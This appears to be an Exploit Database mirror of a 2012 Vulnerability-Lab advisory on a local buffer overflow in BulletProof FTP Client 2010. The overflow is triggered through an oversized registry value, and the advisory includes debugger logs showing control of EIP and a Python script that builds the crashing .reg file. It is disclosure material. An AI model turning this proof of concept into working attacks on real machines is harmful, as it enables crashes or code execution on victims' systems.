BulletProof FTP Client 2010 – Buffer Overflow (PoC)

• Exploit Database
• 11 阅读

• 作者： Vulnerability-Lab
  日期： 2012-04-08
• 类别：

  • dos
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/18716/

• Title:
  ======
  BulletProof FTP Client 2010 - Buffer Overflow Vulnerability
  
  
  Date:
  =====
  2012-04-02
  
  
  References:
  ===========
  http://www.vulnerability-lab.com/get_content.php?id=475
  
  
  VL-ID:
  =====
  475
  
  
  Introduction:
  =============
  BPFTP Client is a fully automated FTP client, with many advanced features including automatic download resuming, 
  leech mode, ftp search and much more. Perfect for personal or corporate Webmasters as well as for Software and Music traders.
  
  Features:
  + Automatic Resume/Reconnect
  + Browse Offline with Cache
  + Leech Mode
  + Hidden File Support
  + Download Credit/Ratio Support
  + Clipboard Monitor
  + Queue 1,000s of Actions
  + Proxy/Firewall Support
  + HTTP/Webserver Support
  + Import CuteFTP, WS_FTP, FTP Explorer
  + Remote Mirroring
  + Search and Filter Ability
  
  (Copy of the Vendor Homepage: http://www.bpftp.com )
  
  
  Abstract:
  =========
  A Vulnerability Laboratory Researcher discovered a Local Buffer Overflow vulnerability on BulletProof FTP Client v2010.75.0.76
  
  
  Report-Timeline:
  ================
  2012-03-14:	Vendor Notification
  2012-03-16:	Vendor Response/Feedback
  2012-04-02:	Public or Non-Public Disclosure
  
  
  Status:
  ========
  Published
  
  
  Affected Products:
  ==================
  BulletProof
  Product: BPFTP Client Software (Windows) v2010.75.0.76 & 2011.x
  
  
  Exploitation-Technique:
  =======================
  Local
  
  
  Severity:
  =========
  High
  
  
  Details:
  ========
  A Buffer Overflow vulnerability is detected on BulletProof FTP Client v2010.75.0.76 (current version).The vulnerability is located 
  in the main executeable bpftpclient.exe. During the start of the application the value LogFileName from the 
  registry key [HKEY_CURRENT_USER/Software/BulletProof Software/BulletProof FTP Client 2010/Options] is read. 
  When inserting an oversized value to the registry value a buffer overflow is triggered. The victim only needs to start the application.
  
  Vulnerable Module(s):
   [+]bpftpclient.exe
  
  
  ---Debugger Logs---
  # 42424242: The instruction at 0x42424242 referenced memory at 0x42424242. 
  The memory could not be read -> 42424242 (exc.code c0000005, tid 2264)
  
  # Registers:
  # EAX 00000000
  # ECX 42424242
  # EDX 7C9132BC ntdll.7C9132BC
  # EBX 00000000
  # ESP 0012F594
  # EBP 0012F5B4
  # ESI 00000000
  # EDI 00000000
  # EIP 42424242
  
  # Stack:
  # 0012F588 00140198
  # 0012F58C 7C91D80Antdll.7C91D80A
  # 0012F590 7C9601E1ntdll.7C9601E1
  # 0012F594 7C9132A8RETURN to ntdll.7C9132A8
  # 0012F598 0012F67C
  # 0012F59C 0012FBCCASCII ``AAAABBBBCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC
  CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC``
  # 0012F5A0 0012F698
  
  # Dump:
  # 0012FBB441 41 41 41 41 41 41 41AAAAAAAA
  # 0012FBBC41 41 41 41 41 41 41 41AAAAAAAA
  # 0012FBC441 41 41 41 41 41 41 41AAAAAAAA
  # 0012FBCC41 41 41 41 42 42 42 42AAAABBBB
  # 0012FBD443 43 43 43 43 43 43 43CCCCCCCC
  # 0012FBDC43 43 43 43 43 43 43 43CCCCCCCC
  # 0012FBE443 43 43 43 43 43 43 43CCCCCCCC
  
  
  Picture(s):
   ../1.png
   ../2.png
  
  
  Proof of Concept:
  =================
  The vulnerability can be exploited by local attackers. Successful exploitation requires no user inter action. For demonstration or reproduce ...
  
  #!/usr/bin/python
   
  # Exploit Title: BulletProof FTP Client v2010.75.0.76 Local Buffer Overflow 
  # Version: 2010.75.0.76
  # Date:2012-03-11
  # Author:Julien Ahrens
  # Homepage:http://www.inshell.net
  # Software Link: http://www.bpftp.com/
  # Tested on: Windows XP SP3 Professional German
  # Notes: -
  # Howto: Import Reg -> Start App
  
  file="poc.reg"
  
  junk1="\x41" * 448
  boom="\x42\x42\x42\x42"
  junk2="\x43" * 100
  
  poc="Windows Registry Editor Version 5.00\n\n"
  poc=poc + "[HKEY_CURRENT_USER\Software\BulletProof Software\BulletProof FTP Client 2010\Options]\n"
  poc=poc + "\"LogFileName\"=\"" + junk1 + boom + junk2 + "\""
  
  try:
  print "[*] Creating exploit file...\n";
  writeFile = open (file, "w")
  writeFile.write( poc )
  writeFile.close()
  print "[*] File successfully created!";
  except:
  print "[!] Error while creating file!";
  
  
  
  Risk:
  =====
  The security risk of the local buffer overflow vulnerability is estimated as high(+).
  
  
  Credits:
  ========
  Vulnerability Research Laboratory -Julien Ahrens(MrTuxracer)[www.inshell.net]
  
  
  Disclaimer:
  ===========
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  either expressed or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-
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  other media, are reserved by Vulnerability-Lab or its suppliers.
  
  						Copyright � 2012|Vulnerability-Lab
  
  
  
  
  -- 
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